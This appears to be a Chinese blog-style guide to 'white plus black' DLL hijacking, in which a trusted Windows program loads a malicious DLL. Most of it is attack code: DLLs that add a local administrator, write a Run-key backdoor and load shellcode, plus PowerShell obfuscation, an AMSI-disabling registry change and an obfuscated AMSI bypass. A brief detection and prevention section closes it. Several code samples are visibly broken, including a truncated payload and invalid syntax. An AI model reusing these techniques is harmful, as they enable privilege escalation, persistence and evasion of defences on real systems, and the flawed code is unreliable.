白加黑的初步探究
字数 1334 2025-08-25 22:58:47
白加黑攻击技术全面解析与防御指南
0X00 前言
白加黑攻击是一种通过DLL劫持在应用程序导出目录中创建恶意DLL或修改已有DLL的攻击方法。其核心优势在于:
- 成本效益:在AI+安全背景下,社工成为成本最低、效率最高的攻击方式
- 绕过检测:利用受信任的白文件加载恶意DLL,规避杀毒软件的信任链检测
- 多功能性:可实现命令执行、权限提升和权限维持等多种攻击目的
0X01 技术原理
基本概念
白加黑攻击利用Windows应用程序加载DLL文件的机制:
- 攻击者构造恶意DLL(黑文件)
- 通过社工手段诱使目标运行合法白文件
- 白文件运行时加载恶意DLL执行攻击代码
攻击目的
- 执行敏感命令:运行MS系列POC、Mimikatz等工具
- 权限提升:添加用户、提升权限等
- 权限维持:添加注册表项、创建持久化后门等
代码示例
基础DLL劫持
#include <windows.h>
#pragma comment (lib, "user32.lib")
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
switch (ul_reason_for_call) {
case DLL_PROCESS_ATTACH:
MessageBox(NULL, "hello world!", MB_OK);
break;
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
权限提升DLL
#include <windows.h>
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
switch (ul_reason_for_call) {
case DLL_PROCESS_ATTACH:
system("powershell.exe /k net localgroup administrators user /add");
break;
}
return TRUE;
}
权限维持DLL
#include <windows.h>
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
switch (ul_reason_for_call) {
case DLL_PROCESS_ATTACH:
HKEY hkey = NULL;
const char* exe = "C:\\xxx.exe";
LONG res = RegOpenKeyEx(HKEY_CURRENT_USER, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY_WRITE, &hkey);
if (res == ERROR_SUCCESS) {
RegSetValueEx(hkey, "hack", 0, REG_SZ, (unsigned char*)exe, strlen(exe));
RegCloseKey(hkey);
}
break;
}
return TRUE;
}
0X02 攻击方式
三种主要加载方式
- 白执行黑DLL:直接修改或替换原有DLL
- 白执行DLL加载shellcode:DLL中包含shellcode执行逻辑
- 白加载shellcode:无文件落地攻击
攻击流程
- 寻找合适的白文件:建议手工查找,脚本准确率不高
- 检查文件夹权限:确定是否有写入权限
- DLL搜索顺序:
- 应用程序目录
- 系统目录(C:\Windows\System32)
- 系统目录(C:\Windows\System)
- Windows目录(C:\Windows)
- 当前工作目录
- PATH环境变量定义的目录
白执行黑DLL技术
#include "pch.h"
#include <stdlib.h>
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
switch (ul_reason_for_call) {
case DLL_PROCESS_ATTACH:
system("calc");
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
break;
}
return TRUE;
}
白执行DLL加载shellcode
#include <winternl.h>
#include <windows.h>
#include <tlhelp32.h>
// 64-bit shellcode (弹calc)
unsigned char payload[] = { 0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x0, 0x0, 0x0, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52, 0x60, 0x48, 0x8b, 0x52, 0x18, 0x48, 0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72, 0x50, 0x48, 0xf, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x2, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0xd, 0x41, 0x1, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52, 0x20, 0x8b, 0x42, 0x3c, 0x48, 0x1, 0xd0, 0x8b, 0x80, 0x88, 0x0, 0x0, 0x0, 0x48, 0x85, 0xc0, 0x74, 0x67, 0x48, 0x1, 0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44, 0x8b, 0x40, 0x20, 0x49, 0x1, 0xd0, 0xe3, 0x56, 0x48, 0xff, 0xc9 };
extern "A" __declspec(dllexport) void Go(void) {
void* exec_mem;
BOOL rv;
HANDLE th;
DWORD oldprotect = 0;
unsigned int payload_len = sizeof(payload);
exec_mem = VirtualAlloc(1, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
RtlMoveMemory(exec_mem, payload, payload_len);
th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)exec_mem, 0, 0, 0);
WaitForSingleObject(th, -1);
}
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
switch (ul_reason_for_call) {
case DLL_PROCESS_ATTACH:
break;
}
return TRUE;
}
0X03 无文件落地技术
PowerShell混淆技术
使用Invoke-Obfuscation工具:
Import-Module .\Invoke-Obfuscation.psd1
Invoke-Obfuscation
set scriptpath xxxx.ps1
token all
out xxx.ps1
绕过EDR检测
降级PowerShell版本:
$ExecutionContext.SessionState.LanguageMode
powershell -version 2
ASMI免杀处理
- 加密方法:使用XOR等加密方法绕过AMSI,运行时解码
- 函数阻断:阻断AmsiScanBuffer()函数
- 注册表修改:
Set-ItemProperty -Path "HKCU:\Software\Microsoft\Windows Script\Settings" -Name "AmsiEnable" -Value 0
混淆示例
$wfSi = $null;
$hlrajhy = "$([char](30+53)+[cHaR]([byte]0x79)+[CHar]([BYtE]0x73)+[ChAR]([BYTe]0x74)+[Char](101*20/20)+[chaR](109*46/46)).$([CHaR](65+12)+[chAR](97+89-89)+[CHAR]([byTE]0x6e)+[cHAR]([bYte]0x61)+[char]([ByTe]0x67)+[ChAR](101)+[CHAR]([byTe]0x6d)+[cHaR]([bytE]0x65)+[chAr]([ByTe]0x6e)+[cHar](116)).$(('Ãutômát'+'íón').NOrmAlizE([chaR](33+37)+[cHAR](111)+[ChAR]([BYTE]0x72)+[CHAr](109+28-28)+[CHar](68)) -replace [chaR](92+71-71)+[cHar]([BYTe]0x70)+[ChAr]([Byte]0x7b)+[ChaR]([BYtE]0x4d)+[chaR]([BYtE]0x6e)+[ChaR](125+53-53)).$(('Âms'+'íUt'+'íls').NORMaLIze([cHAr](70)+[cHAR]([BYTE]0x6f)+[cHAr](24+90)+[chAR](22+87)+[cHar](68+36-36)) -replace [cHAR]([bYTe]0x5c)+[Char](112+50-50)+[chAr]([bYtE]0x7b)+[CHar](77)+[cHAr]([byTE]0x6e)+[CHar]([BYTe]0x7d))";
$xrgohuphpvm = "+('n'+'u'+'ã').NormALize([CHaR](70+47-47)+[ChaR](111)+[cHaR]([BYtE]0x72)+[cHAR]([ByTe]0x6d)+[CHAR](68*53/53)) -replace [CHAr]([BYTE]0x5c)+[chAr]([bYte]0x70)+[ChAr]([BYTe]0x7b)+[chaR](77)+[cHaR](110+87-87)+[chAR](125*25/25)";
[Threading.Thread]::Sleep(1085);
[Runtime.InteropServices.Marshal]::("$([cHAR]([ByTe]0x57)+[char](114)+[Char]([byte]0x69)+[ChAR](116)+[chAR]([byte]0x65)+[ChAR](73+49-49)+[chAr](110+78-78)+[chAR]([BYte]0x74)+[CHar]([BYTE]0x33)+[cHAR](50*13/13))")([Ref].Assembly.GetType($hlrajhy).GetField("$(('àmsìC'+'ôntex'+'t').norMAlizE([CHAR]([BYte]0x46)+[ChAr]([BYtE]0x6f)+[Char](114+75-75)+[CHAr]([ByTE]0x6d)+[CHaR]([byTE]0x44)) -replace [CHar]([BYtE]0x5c)+[cHar](112+67-67)+[CHaR](123+7-7)+[CHar]([BYTE]0x4d)+[ChAR]([byTe]0x6e)+[ChAR]([bYtE]0x7d))",[Reflection.BindingFlags]"NonPublic,Static").GetValue($wfSi),0x5762f72c);
0X04 寻找白文件
人工方法
使用Procmon进程监视器:
- 显示实时文件系统、注册表和进程/线程活动
- 观察进程运行过程中的DLL调用
- 寻找存在LoadLibrary函数的白文件
自动化工具
-
DLLSpy:
DLLSpy.exe -x -d -o output.txt -s -r 3-x -d:扫描加载的模块-o:指定输出文件-s:静态扫描-r:递归扫描深度
-
bDLL:
python DllJacking_Python.py 目标文件夹地址 -
在线资源:
0X05 检测和预防措施
检测方法
- 异常网络连接检测:监控与基线不同的网络活动
- DLL权限控制:限制具有LoadLibrary()函数的DLL
- DLL白名单:跟踪系统DLL的哈希值识别差异
预防措施
-
软件安装位置:
- 确保软件安装在受保护目录(C:\Program Files或C:\Program Files (x86))
- 非标准安装目录应限制"创建"和"写入"权限
-
开发层面:
- 使用绝对路径加载DLL
- 实施DLL签名验证
- 限制非必要DLL加载
-
系统层面:
- 启用受控文件夹访问
- 实施应用程序白名单
- 定期审核DLL加载行为